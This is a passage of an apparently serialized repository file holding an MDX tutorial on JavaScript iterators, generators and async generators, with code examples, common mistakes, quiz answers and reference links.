of arr) {\n    if (Array.isArray(item)) {\n      yield* flatten(item)  // Recursively delegate\n    } else {\n      yield item\n    }\n  }\n}\n\nconst nested = [1, [2, 3, [4, 5]], 6]\nconsole.log([...flatten(nested)])  // [1, 2, 3, 4, 5, 6]\n```\n\n### Passing Values INTO Generators\n\nYou can also send values *into* a generator by passing them to `.next(value)`. The value becomes the result of the `yield` expression inside the generator:\n\n```javascript\nfunction* conversation() {\n  const name = yield 'What is your name?'\n  const color = yield `Hello, ${name}! What's your favorite color?`\n  yield `${color} is a great color, ${name}!`\n}\n\nconst chat = conversation()\n\n// First .next() — no value needed, just starts the generator\nconsole.log(chat.next().value)\n// \"What is your name?\"\n\n// Second .next() — pass in the answer\nconsole.log(chat.next('Alice').value)\n// \"Hello, Alice! What's your favorite color?\"\n\n// Third .next() — pass in another answer\nconsole.log(chat.next('Blue').value)\n// \"Blue is a great color, Alice!\"\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                        DATA FLOW WITH yield                             │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                         │\n│   CALLER                                     GENERATOR                  │\n│                                                                         │\n│   .next()        ─────────────────────►     starts execution            │\n│                  ◄─────────────────────     yield 'question'            │\n│                                                                         │\n│   .next('Alice') ─────────────────────►     const name = 'Alice'        │\n│                  ◄─────────────────────     yield 'Hello Alice'         │\n│                                                                         │\n│   .next('Blue')  ─────────────────────►     const color = 'Blue'        │\n│                  ◄─────────────────────     yield 'Blue is great'       │\n│                                                                         │\n│   The value passed to .next() becomes the RESULT of the yield          │\n│   expression inside the generator.                                      │\n│                                                                         │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n<Note>\n**Why no value in the first `.next()`?** The first call starts the generator and runs until the first `yield`. There's no `yield` waiting to receive a value yet, so anything you pass gets ignored.\n</Note>\n\n### Generator Control Methods: `.return()` and `.throw()`\n\nBeyond `.next()`, generators have two more control methods that give you full control over execution.\n\n#### Early Termination with `.return()`\n\nThe `.return(value)` method ends the generator immediately and returns the specified value:\n\n```javascript\nfunction* countdown() {\n  yield 3\n  yield 2\n  yield 1\n  yield 'Liftoff!'\n}\n\nconst rocket = countdown()\n\nconsole.log(rocket.next())           // { value: 3, done: false }\nconsole.log(rocket.return('Aborted')) // { value: 'Aborted', done: true }\nconsole.log(rocket.next())           // { value: undefined, done: true }\n// Generator is now closed — subsequent .next() calls return done: true\n```\n\nThis is useful for cleanup or when you need to stop iteration early.\n\n#### Error Injection with `.throw()`\n\nThe `.throw(error)` method throws an exception at the current `yield` point. If the generator has a `try/catch`, it can handle the error:\n\n```javascript\nfunction* resilientGenerator() {\n  try {\n    yield 'A'\n    yield 'B'\n    yield 'C'\n  } catch (e) {\n    yield `Caught: ${e.message}`\n  }\n  yield 'Done'\n}\n\nconst gen = resilientGenerator()\n\nconsole.log(gen.next().value)  // \"A\"\nconsole.log(gen.throw(new Error('Oops!')).value)  // \"Caught: Oops!\"\nconsole.log(gen.next().value)  // \"Done\"\n```\n\nIf there's no `try/catch`, the error propagates out:\n\n```javascript\nfunction* fragileGenerator() {\n  yield 'A'\n  yield 'B'  // Error thrown here if we call .throw() after first yield\n}\n\nconst gen = fragileGenerator()\ngen.next()  // { value: 'A', done: false }\n\ntry {\n  gen.throw(new Error('Boom!'))\n} catch (e) {\n  console.log(e.message)  // \"Boom!\"\n}\n```\n\n<Tip>\nThese methods complete the generator's interface. While `.next()` is used most often, `.return()` and `.throw()` give you full control over generator execution — useful for resource cleanup and error handling in complex workflows.\n</Tip>\n\n---\n\n## The Iteration Protocol (`Symbol.iterator`)\n\nNow for the fun part: making your own objects work with `for...of`. An object is **iterable** if it has a `[Symbol.iterator]` method that returns an iterator.\n\n### Making a Custom Object Iterable\n\n```javascript\nconst myCollection = {\n  items: ['apple', 'banana', 'cherry'],\n  \n  // This makes the object iterable\n  [Symbol.iterator]() {\n    let index = 0\n    const items = this.items\n    \n    return {\n      next() {\n        if (index < items.length) {\n          return { value: items[index++], done: false }\n        } else {\n          return { value: undefined, done: true }\n        }\n      }\n    }\n  }\n}\n\n// Now we can use for...of!\nfor (const item of myCollection) {\n  console.log(item)\n}\n// Output: apple, banana, cherry\n\n// And spread syntax!\nconsole.log([...myCollection])  // ['apple', 'banana', 'cherry']\n```\n\n### Using Generators to Simplify Iterators\n\nAll that manual iterator code? Generators cut it down to almost nothing:\n\n```javascript\nconst myCollection = {\n  items: ['apple', 'banana', 'cherry'],\n  \n  // Generator as the Symbol.iterator method\n  *[Symbol.iterator]() {\n    for (const item of this.items) {\n      yield item\n    }\n  }\n}\n\nfor (const item of myCollection) {\n  console.log(item)\n}\n// Output: apple, banana, cherry\n```\n\n### Example: Creating an Iterable Range\n\nHere's a `Range` class you can loop over with `for...of`:\n\n```javascript\nclass Range {\n  constructor(start, end, step = 1) {\n    this.start = start\n    this.end = end\n    this.step = step\n  }\n  \n  // Generator makes this easy!\n  *[Symbol.iterator]() {\n    for (let i = this.start; i <= this.end; i += this.step) {\n      yield i\n    }\n  }\n}\n\nconst oneToFive = new Range(1, 5)\nconsole.log([...oneToFive])  // [1, 2, 3, 4, 5]\n\nconst evens = new Range(0, 10, 2)\nconsole.log([...evens])  // [0, 2, 4, 6, 8, 10]\n\n// Works with for...of\nfor (const n of new Range(1, 3)) {\n  console.log(n)  // 1, 2, 3\n}\n```\n\n### What `for...of` Really Does\n\nWhen you write a `for...of` loop, JavaScript does this behind the scenes:\n\n<Steps>\n  <Step title=\"Get the iterator\">\n    JavaScript calls `iterable[Symbol.iterator]()` to get an iterator object.\n  </Step>\n  <Step title=\"Call .next()\">\n    The loop calls `iterator.next()` to get the first `{ value, done }` result.\n  </Step>\n  <Step title=\"Check if done\">\n    If `done` is `false`, the `value` goes into your loop variable.\n  </Step>\n  <Step title=\"Repeat until done\">\n    Steps 2-3 repeat until `done` is `true`, then the loop exits.\n  </Step>\n</Steps>\n\nHere's what that looks like in code:\n\n```javascript\n// This:\nfor (const item of iterable) {\n  console.log(item)\n}\n\n// Is equivalent to this:\nconst iterator = iterable[Symbol.iterator]()\nlet result = iterator.next()\n\nwhile (!result.done) {\n  const item = result.value\n  console.log(item)\n  result = iterator.next()\n}\n```\n\n<Tip>\n**When to make something iterable:** If your object represents a collection or sequence of values, making it iterable allows it to work with `for...of`, spread syntax, `Array.from()`, destructuring, and more.\n</Tip>\n\n---\n\n## Lazy Evaluation & Infinite Sequences\n\nThe killer feature of generators is **lazy evaluation**. Values are computed only when you ask for them, not ahead of time.\n\n### Memory Efficiency\n\nCompare these two approaches for creating a range of numbers:\n\n```javascript\n// Eager evaluation — creates entire array in memory\nfunction rangeArray(start, end) {\n  const result = []\n  for (let i = start; i <= end; i++) {\n    result.push(i)\n  }\n  return result\n}\n\n// Lazy evaluation — computes values on demand\nfunction* rangeGenerator(start, end) {\n  for (let i = start; i <= end; i++) {\n    yield i\n  }\n}\n\n// For small ranges, both work fine\nconsole.log(rangeArray(1, 5))      // [1, 2, 3, 4, 5]\nconsole.log([...rangeGenerator(1, 5)])  // [1, 2, 3, 4, 5]\n\n// For large ranges, generators shine\n// rangeArray(1, 1000000)     — Creates array of 1 million numbers!\n// rangeGenerator(1, 1000000) — Creates nothing until you iterate\n```\n\n### Infinite Sequences\n\nBecause generators are lazy, you can create **infinite sequences**, something impossible with arrays:\n\n```javascript\n// Infinite sequence of natural numbers\nfunction* naturalNumbers() {\n  let n = 1\n  while (true) {  // Infinite loop!\n    yield n++\n  }\n}\n\n// This would crash with an array, but generators are lazy\nconst numbers = naturalNumbers()\n\nconsole.log(numbers.next().value)  // 1\nconsole.log(numbers.next().value)  // 2\nconsole.log(numbers.next().value)  // 3\n// We can keep going forever...\n```\n\n### Fibonacci Sequence\n\nA classic example: the infinite Fibonacci sequence:\n\n```javascript\nfunction* fibonacci() {\n  let prev = 0\n  let curr = 1\n  \n  while (true) {\n    yield curr\n    const next = prev + curr\n    prev = curr\n    curr = next\n  }\n}\n\nconst fib = fibonacci()\n\nconsole.log(fib.next().value)  // 1\nconsole.log(fib.next().value)  // 1\nconsole.log(fib.next().value)  // 2\nconsole.log(fib.next().value)  // 3\nconsole.log(fib.next().value)  // 5\nconsole.log(fib.next().value)  // 8\n```\n\n### Taking N Items from an Infinite Generator\n\nYou'll often want to take a limited number of items from an infinite generator:\n\n```javascript\n// Helper function to take N items from any iterable\nfunction* take(n, iterable) {\n  let count = 0\n  for (const item of iterable) {\n    if (count >= n) return\n    yield item\n    count++\n  }\n}\n\n// Get first 10 Fibonacci numbers\nconst firstTenFib = [...take(10, fibonacci())]\nconsole.log(firstTenFib)  // [1, 1, 2, 3, 5, 8, 13, 21, 34, 55]\n\n// Get first 5 natural numbers\nconst firstFive = [...take(5, naturalNumbers())]\nconsole.log(firstFive)  // [1, 2, 3, 4, 5]\n```\n\n<Warning>\n**Be careful with infinite generators!** Never use `[...infiniteGenerator()]` or `for...of` on an infinite generator without a break condition. Your program will hang trying to iterate forever.\n\n```javascript\n// ❌ DANGER — This will hang/crash!\nconst all = [...naturalNumbers()]  // Trying to collect infinite items\n\n// ✓ SAFE — Use take() or break early\nconst some = [...take(100, naturalNumbers())]\n```\n</Warning>\n\n---\n\n## Common Patterns\n\nHere are some patterns that make generators worth knowing.\n\n### Pattern 1: Unique ID Generator\n\nGenerate unique IDs without tracking global state:\n\n```javascript\nfunction* createIdGenerator(prefix = 'id') {\n  let id = 1\n  while (true) {\n    yield `${prefix}_${id++}`\n  }\n}\n\nconst userIds = createIdGenerator('user')\nconst orderIds = createIdGenerator('order')\n\nconsole.log(userIds.next().value)   // \"user_1\"\nconsole.log(userIds.next().value)   // \"user_2\"\nconsole.log(orderIds.next().value)  // \"order_1\"\nconsole.log(userIds.next().value)   // \"user_3\"\nconsole.log(orderIds.next().value)  // \"order_2\"\n```\n\n### Pattern 2: Pagination / Chunking Data\n\nProcess large datasets in manageable chunks:\n\n```javascript\nfunction* chunk(array, size) {\n  for (let i = 0; i < array.length; i += size) {\n    yield array.slice(i, i + size)\n  }\n}\n\nconst data = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n\nfor (const batch of chunk(data, 3)) {\n  console.log('Processing batch:', batch)\n}\n// Output:\n// Processing batch: [1, 2, 3]\n// Processing batch: [4, 5, 6]\n// Processing batch: [7, 8, 9]\n// Processing batch: [10]\n```\n\nThis is great for batch processing, API rate limiting, or breaking up heavy computations:\n\n```javascript\nfunction* processInBatches(items, batchSize) {\n  for (const batch of chunk(items, batchSize)) {\n    // Process each batch\n    const results = batch.map(item => heavyComputation(item))\n    yield results\n  }\n}\n\n// Process 1000 items in batches of 100\nconst allItems = new Array(1000).fill(null).map((_, i) => i)\n\nfor (const batchResults of processInBatches(allItems, 100)) {\n  console.log(`Processed ${batchResults.length} items`)\n  // Could add delay here to avoid blocking the main thread\n}\n```\n\n### Pattern 3: Filtering and Transforming Data\n\nCreate composable data pipelines:\n\n```javascript\nfunction* filter(iterable, predicate) {\n  for (const item of iterable) {\n    if (predicate(item)) {\n      yield item\n    }\n  }\n}\n\nfunction* map(iterable, transform) {\n  for (const item of iterable) {\n    yield transform(item)\n  }\n}\n\n// Compose them together\nfunction* range(start, end) {\n  for (let i = start; i <= end; i++) {\n    yield i\n  }\n}\n\n// Pipeline: numbers 1-10 → filter evens → double them\nconst result = map(\n  filter(range(1, 10), n => n % 2 === 0),\n  n => n * 2\n)\n\nconsole.log([...result])  // [4, 8, 12, 16, 20]\n```\n\n### Pattern 4: Simple State Machine\n\nGenerators naturally model state machines because they remember their position:\n\n```javascript\nfunction* trafficLight() {\n  while (true) {\n    yield 'green'\n    yield 'yellow'\n    yield 'red'\n  }\n}\n\nconst light = trafficLight()\n\nconsole.log(light.next().value)  // \"green\"\nconsole.log(light.next().value)  // \"yellow\"\nconsole.log(light.next().value)  // \"red\"\nconsole.log(light.next().value)  // \"green\" (cycles back)\nconsole.log(light.next().value)  // \"yellow\"\n```\n\nA more complex example with different wait times:\n\n```javascript\nfunction* trafficLightWithDurations() {\n  while (true) {\n    yield { color: 'green', duration: 30000 }   // 30 seconds\n    yield { color: 'yellow', duration: 5000 }   // 5 seconds\n    yield { color: 'red', duration: 25000 }     // 25 seconds\n  }\n}\n\nconst light = trafficLightWithDurations()\n\nfunction changeLight() {\n  const { color, duration } = light.next().value\n  console.log(`Light is now ${color} for ${duration / 1000} seconds`)\n  setTimeout(changeLight, duration)\n}\n\n// changeLight()  // Uncomment to run\n```\n\n### Pattern 5: Tree Traversal\n\nGenerators work great for traversing trees:\n\n```javascript\nfunction* traverseTree(node) {\n  yield node.value\n  \n  if (node.children) {\n    for (const child of node.children) {\n      yield* traverseTree(child)  // Recursive delegation\n    }\n  }\n}\n\nconst tree = {\n  value: 'root',\n  children: [\n    {\n      value: 'child1',\n      children: [\n        { value: 'grandchild1' },\n        { value: 'grandchild2' }\n      ]\n    },\n    {\n      value: 'child2',\n      children: [\n        { value: 'grandchild3' }\n      ]\n    }\n  ]\n}\n\nconsole.log([...traverseTree(tree)])\n// ['root', 'child1', 'grandchild1', 'grandchild2', 'child2', 'grandchild3']\n```\n\n---\n\n## Async Generators & `for await...of`\n\nWhat about yielding values from async operations like API calls, file reads, that kind of thing? That's what **async generators** are for.\n\n### The Problem with Regular Generators\n\nRegular generators are synchronous. If you try to yield a Promise, you get the Promise object itself, not its resolved value:\n\n```javascript\nfunction* fetchUsers() {\n  yield fetch('/api/user/1').then(r => r.json())\n  yield fetch('/api/user/2').then(r => r.json())\n}\n\nconst gen = fetchUsers()\nconsole.log(gen.next().value)  // Promise { <pending> } — not the user!\n```\n\n### Async Generator Syntax\n\nAn **[async generator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function*)** combines `async` functions with generators. You can `await` inside them, and you iterate with `for await...of`:\n\n```javascript\nasync function* fetchUsersAsync() {\n  const user1 = await fetch('/api/user/1').then(r => r.json())\n  yield user1\n  \n  const user2 = await fetch('/api/user/2').then(r => r.json())\n  yield user2\n}\n\n// Use for await...of to consume\nasync function displayUsers() {\n  for await (const user of fetchUsersAsync()) {\n    console.log(user.name)\n  }\n}\n```\n\n### Practical Example: Paginated API\n\nFetch all pages of data from a paginated API:\n\n```javascript\nasync function* fetchAllPages(baseUrl) {\n  let page = 1\n  let hasMore = true\n  \n  while (hasMore) {\n    const response = await fetch(`${baseUrl}?page=${page}`)\n    const data = await response.json()\n    \n    yield data.items  // Yield this page's items\n    \n    hasMore = data.hasNextPage\n    page++\n  }\n}\n\n// Process all pages\nasync function processAllUsers() {\n  for await (const pageOfUsers of fetchAllPages('/api/users')) {\n    console.log(`Processing ${pageOfUsers.length} users...`)\n    \n    for (const user of pageOfUsers) {\n      // Process each user\n      await saveToDatabase(user)\n    }\n  }\n}\n```\n\n### Async Generator vs Promise.all\n\nWhen do you reach for an async generator over `Promise.all`?\n\n```javascript\n// Promise.all — All requests in parallel, wait for ALL to complete\nasync function fetchAllAtOnce(userIds) {\n  const users = await Promise.all(\n    userIds.map(id => fetch(`/api/user/${id}`).then(r => r.json()))\n  )\n  return users  // Returns all users at once\n}\n\n// Async generator — Process as each completes\nasync function* fetchOneByOne(userIds) {\n  for (const id of userIds) {\n    const user = await fetch(`/api/user/${id}`).then(r => r.json())\n    yield user  // Yield each user as it's fetched\n  }\n}\n```\n\n| Approach | Best for |\n|----------|----------|\n| `Promise.all` | When you need all results before proceeding |\n| Async generator | When you want to process results as they arrive |\n| Async generator | When fetching everything at once would be too memory-intensive |\n| Async generator | When you might want to stop early |\n\n### Reading Lines from a Stream\n\nHere's a real pattern for processing a stream line by line:\n\n```javascript\nasync function* readLines(reader) {\n  const decoder = new TextDecoder()\n  let buffer = ''\n  \n  while (true) {\n    const { done, value } = await reader.read()\n    \n    if (done) {\n      if (buffer) yield buffer  // Yield any remaining content\n      return\n    }\n    \n    buffer += decoder.decode(value, { stream: true })\n    const lines = buffer.split('\\n')\n    buffer = lines.pop()  // Keep incomplete line in buffer\n    \n    for (const line of lines) {\n      yield line\n    }\n  }\n}\n\n// Usage with fetch\nasync function processLogFile(url) {\n  const response = await fetch(url)\n  const reader = response.body.getReader()\n  \n  for await (const line of readLines(reader)) {\n    console.log('Log entry:', line)\n  }\n}\n```\n\n<CardGroup cols={2}>\n  <Card title=\"async function* — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function*\">\n    Documentation for async generator functions\n  </Card>\n  <Card title=\"for await...of — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of\">\n    Documentation for async iteration\n  </Card>\n</CardGroup>\n\n---\n\n## Common Mistakes\n\n<AccordionGroup>\n  <Accordion title=\"Mistake 1: Forgetting the asterisk in function*\">\n    ```javascript\n    // ❌ WRONG — This is a regular function, not a generator\n    function myGenerator() {\n      yield 1  // SyntaxError: Unexpected number\n    }\n    \n    // ✓ CORRECT — Note the asterisk\n    function* myGenerator() {\n      yield 1\n    }\n    ```\n    \n    The asterisk can go next to `function` or next to the name — both work:\n    \n    ```javascript\n    function* foo() {}  // ✓\n    function *foo() {}  // ✓\n    function * foo() {} // ✓\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Mistake 2: Expecting generator to run immediately\">\n    ```javascript\n    // ❌ WRONG — Nothing happens when you call a generator function\n    function* greet() {\n      console.log('Hello!')\n      yield 'Hi'\n    }\n    \n    greet()  // Nothing logged! Returns generator object\n    \n    // ✓ CORRECT — You must call .next() or iterate\n    const gen = greet()\n    gen.next()  // NOW it logs \"Hello!\"\n    \n    // Or use for...of\n    for (const val of greet()) {\n      console.log(val)\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Mistake 3: Using return instead of yield for iteration values\">\n    ```javascript\n    // ❌ WRONG — return value won't appear in for...of\n    function* letters() {\n      yield 'a'\n      yield 'b'\n      return 'c'  // This won't be iterated!\n    }\n    \n    console.log([...letters()])  // ['a', 'b'] — no 'c'!\n    \n    // ✓ CORRECT — Use yield for all iteration values\n    function* letters() {\n      yield 'a'\n      yield 'b'\n      yield 'c'\n    }\n    \n    console.log([...letters()])  // ['a', 'b', 'c']\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Mistake 4: Reusing an exhausted generator\">\n    ```javascript\n    // ❌ WRONG — Generators can only be iterated once\n    function* nums() {\n      yield 1\n      yield 2\n    }\n    \n    const gen = nums()\n    console.log([...gen])  // [1, 2]\n    console.log([...gen])  // [] — generator is exhausted!\n    \n    // ✓ CORRECT — Create a new generator each time\n    console.log([...nums()])  // [1, 2]\n    console.log([...nums()])  // [1, 2]\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Mistake 5: Infinite loop without break condition\">\n    ```javascript\n    // ❌ DANGER — This will hang your program\n    function* forever() {\n      let i = 0\n      while (true) {\n        yield i++\n      }\n    }\n    \n    const all = [...forever()]  // Infinite loop trying to collect all values!\n    \n    // ✓ SAFE — Use take() or break early\n    function* take(n, gen) {\n      let count = 0\n      for (const val of gen) {\n        if (count++ >= n) return\n        yield val\n      }\n    }\n    \n    const firstHundred = [...take(100, forever())]  // Safe!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Mistake 6: Using generators when arrays would be simpler\">\n    ```javascript\n    // ❌ OVERKILL — If you're just returning a fixed list, use an array\n    function* getDaysOfWeek() {\n      yield 'Monday'\n      yield 'Tuesday'\n      yield 'Wednesday'\n      yield 'Thursday'\n      yield 'Friday'\n      yield 'Saturday'\n      yield 'Sunday'\n    }\n    \n    // ✓ SIMPLER — Just use an array\n    const daysOfWeek = [\n      'Monday', 'Tuesday', 'Wednesday', 'Thursday',\n      'Friday', 'Saturday', 'Sunday'\n    ]\n    ```\n    \n    **Use generators when:**\n    - Values are computed on-demand (lazy)\n    - Sequence is infinite or very large\n    - You need to pause/resume execution\n    - Values come from async operations\n    \n    **Use arrays when:**\n    - You have a fixed, known set of values\n    - Values are already computed\n    - You need random access (`array[5]`)\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Key Takeaways\n\n<Info>\n**The short version:**\n\n1. **Iterators** are objects with a `.next()` method that returns `{ value, done }`\n\n2. **Generators** are functions that pause at `yield` and resume at `.next()`\n\n3. **Don't forget the asterisk** — it's `function*`, not `function`\n\n4. **`yield` pauses, `return` ends** — and `return` values don't show up in `for...of`\n\n5. **`yield*` passes through** all values from another iterable\n\n6. **Generators are lazy** — nothing runs until you ask for it\n\n7. **Infinite sequences work** because generators compute on-demand\n\n8. **`Symbol.iterator`** is how you make objects work with `for...of`\n\n9. **Async generators** (`async function*`) let you `await` inside and iterate with `for await...of`\n\n10. **Generators are single-use** — once done, you need a fresh one\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What's the difference between yield and return in a generator?\">\n    **Answer:**\n    \n    - `yield` **pauses** the generator and returns `{ value, done: false }`. The generator can resume from where it paused.\n    - `return` **ends** the generator and returns `{ value, done: true }`. The generator cannot resume.\n    \n    Important: Values from `return` are NOT included when using `for...of`, spread syntax, or `Array.from()`.\n    \n    ```javascript\n    function* example() {\n      yield 'A'   // Included in iteration\n      yield 'B'   // Included in iteration\n      return 'C'  // NOT included in for...of!\n    }\n    \n    console.log([...example()])  // ['A', 'B']\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: How do you make a custom object iterable?\">\n    **Answer:**\n    \n    Add a `[Symbol.iterator]` method that returns an iterator (an object with a `.next()` method):\n    \n    ```javascript\n    const myObject = {\n      data: [1, 2, 3],\n      \n      // Method 1: Return an iterator object\n      [Symbol.iterator]() {\n        let index = 0\n        const data = this.data\n        return {\n          next() {\n            if (index < data.length) {\n              return { value: data[index++], done: false }\n            }\n            return { done: true }\n          }\n        }\n      }\n    }\n    \n    // Method 2: Use a generator (simpler!)\n    const myObject2 = {\n      data: [1, 2, 3],\n      \n      *[Symbol.iterator]() {\n        yield* this.data\n      }\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 3: What will this code output?\">\n    ```javascript\n    function* gen() {\n      console.log('A')\n      yield 1\n      console.log('B')\n      yield 2\n      console.log('C')\n    }\n    \n    const g = gen()\n    console.log('Start')\n    console.log(g.next().value)\n    console.log('Middle')\n    console.log(g.next().value)\n    ```\n    \n    **Answer:**\n    \n    ```\n    Start\n    A\n    1\n    Middle\n    B\n    2\n    ```\n    \n    **Explanation:**\n    1. `gen()` creates the generator but doesn't run any code\n    2. `'Start'` logs\n    3. First `g.next()` runs until first `yield` — logs `'A'`, returns `{ value: 1, done: false }`\n    4. We log the value `1`\n    5. `'Middle'` logs\n    6. Second `g.next()` resumes and runs until second `yield` — logs `'B'`, returns `{ value: 2, done: false }`\n    7. We log the value `2`\n    8. `'C'` never logs because we didn't call `g.next()` a third time\n  </Accordion>\n  \n  <Accordion title=\"Question 4: How can you pass values INTO a generator?\">\n    **Answer:**\n    \n    Pass values as arguments to `.next(value)`. The value becomes the result of the `yield` expression:\n    \n    ```javascript\n    function* adder() {\n      const a = yield 'Enter first number'\n      const b = yield 'Enter second number'\n      yield `Sum: ${a + b}`\n    }\n    \n    const gen = adder()\n    console.log(gen.next().value)      // \"Enter first number\"\n    console.log(gen.next(10).value)    // \"Enter second number\" (a = 10)\n    console.log(gen.next(5).value)     // \"Sum: 15\" (b = 5)\n    ```\n    \n    Note: The first `.next()` starts the generator. Any value passed to it is ignored because there's no `yield` waiting to receive it yet.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: When would you use an async generator?\">\n    **Answer:**\n    \n    Use async generators when you need to yield values from asynchronous operations:\n    \n    - **Paginated APIs** — Fetch and yield page by page\n    - **Streaming data** — Process chunks as they arrive\n    - **Database cursors** — Iterate through large result sets\n    - **File processing** — Read and yield lines from large files\n    \n    ```javascript\n    async function* fetchPages(url) {\n      let page = 1\n      while (true) {\n        const response = await fetch(`${url}?page=${page}`)\n        const data = await response.json()\n        \n        if (data.items.length === 0) return\n        \n        yield data.items\n        page++\n      }\n    }\n    \n    // Consume with for await...of\n    for await (const items of fetchPages('/api/products')) {\n      processItems(items)\n    }\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 6: Why can't you use [...infiniteGenerator()]?\">\n    **Answer:**\n    \n    Spread syntax (`...`) tries to collect ALL values into an array. With an infinite generator, this means infinite iteration. Your program will hang trying to collect infinite values.\n    \n    ```javascript\n    function* forever() {\n      let i = 0\n      while (true) yield i++\n    }\n    \n    // ❌ DANGER — Hangs forever!\n    const all = [...forever()]\n    \n    // ✓ SAFE — Limit how many you take\n    function* take(n, gen) {\n      let i = 0\n      for (const val of gen) {\n        if (i++ >= n) return\n        yield val\n      }\n    }\n    \n    const first100 = [...take(100, forever())]\n    ```\n    \n    Always use a limiting function like `take()`, or manually call `.next()` a specific number of times.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is a generator function in JavaScript?\">\n    A generator function, declared with `function*`, is a special function that can pause its execution with `yield` and resume later. Each call to the generator's `.next()` method runs the function until the next `yield` and returns the yielded value. Generators were introduced in ECMAScript 2015 and are defined by the iteration protocols in the specification.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between yield and return in a generator?\">\n    `yield` pauses the generator and produces a value, but the generator can be resumed to continue execution. `return` terminates the generator permanently and sets `done: true` in the result object. A yielded value has `done: false`, while a returned value has `done: true`. Values produced by `return` are not included in `for...of` loops.\n  </Accordion>\n\n  <Accordion title=\"What are iterators in JavaScript?\">\n    An iterator is an object that implements the iterator protocol — it has a `.next()` method that returns `{ value, done }` objects. As documented on MDN, many built-in JavaScript types are iterable (Arrays, Strings, Maps, Sets), meaning they have a `Symbol.iterator` method that returns an iterator. Generators automatically create iterators.\n  </Accordion>\n\n  <Accordion title=\"What is lazy evaluation in JavaScript generators?\">\n    Lazy evaluation means values are computed only when requested, not upfront. Generators are inherently lazy — they compute each value on demand when `.next()` is called. This is memory-efficient because you never hold the entire sequence in memory. It also enables infinite sequences, where computing all values upfront would be impossible.\n  </Accordion>\n\n  <Accordion title=\"What are async generators and when should you use them?\">\n    Async generators combine `async function*` syntax with `yield` to produce values asynchronously. They are consumed with `for await...of` loops and are ideal for streaming data from APIs, reading files line by line, or paginating through large datasets. According to MDN, async generators were standardized in ECMAScript 2018 as part of the async iteration proposal.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Higher-Order Functions\" icon=\"layer-group\" href=\"/concepts/higher-order-functions\">\n    Generators pair nicely with map, filter, and reduce patterns\n  </Card>\n  <Card title=\"Promises\" icon=\"handshake\" href=\"/concepts/promises\">\n    Async generators are built on Promises\n  </Card>\n  <Card title=\"async/await\" icon=\"clock\" href=\"/concepts/async-await\">\n    The other half of async generators — you'll use both together\n  </Card>\n  <Card title=\"Event Loop\" icon=\"arrows-spin\" href=\"/concepts/event-loop\">\n    How async generators fit into JavaScript's execution model\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Generator — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Generator\">\n    The Generator object and its methods — `.next()`, `.return()`, `.throw()`\n  </Card>\n  <Card title=\"Iteration Protocols — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Iteration_protocols\">\n    The spec for iterators and iterables. Good for understanding what's really going on.\n  </Card>\n  <Card title=\"function* — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*\">\n    Generator function syntax and behavior\n  </Card>\n  <Card title=\"yield — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/yield\">\n    Everything about the yield operator\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"The Basics of ES6 Generators\" icon=\"newspaper\" href=\"https://davidwalsh.name/es6-generators\">\n    Kyle Simpson (You Don't Know JS) breaks down how generators work under the hood.\n  </Card>\n  <Card title=\"Generators — JavaScript.info\" icon=\"newspaper\" href=\"https://javascript.info/generators\">\n    Interactive tutorial with runnable examples. Great for hands-on learning.\n  </Card>\n  <Card title=\"Async Iterators and Generators — JavaScript.info\" icon=\"newspaper\" href=\"https://javascript.info/async-iterators-generators\">\n    Picks up where the sync guide leaves off — async generators and `for await...of`.\n  </Card>\n  <Card title=\"Iterators and Generators — MDN\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators\">\n    The official MDN walkthrough. Solid reference for both concepts.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Generators in JavaScript — Fun Fun Function\" icon=\"video\" href=\"https://www.youtube.com/watch?v=ategZqxHkz4\">\n    Mattias Petter Johansson makes generators fun. Seriously.\n  </Card>\n  <Card title=\"JavaScript Iterators and Generators — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=IJ6EgdiI_wU\">\n    The fast version. 100 seconds and you'll get the gist.\n  </Card>\n  <Card title=\"JavaScript ES6 Generators — Traversy Media\" icon=\"video\" href=\"https://www.youtube.com/watch?v=dcP039DYzmE\">\n    Brad Traversy's walkthrough. Great if you like to code along.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/concepts/higher-order-functions.mdx",
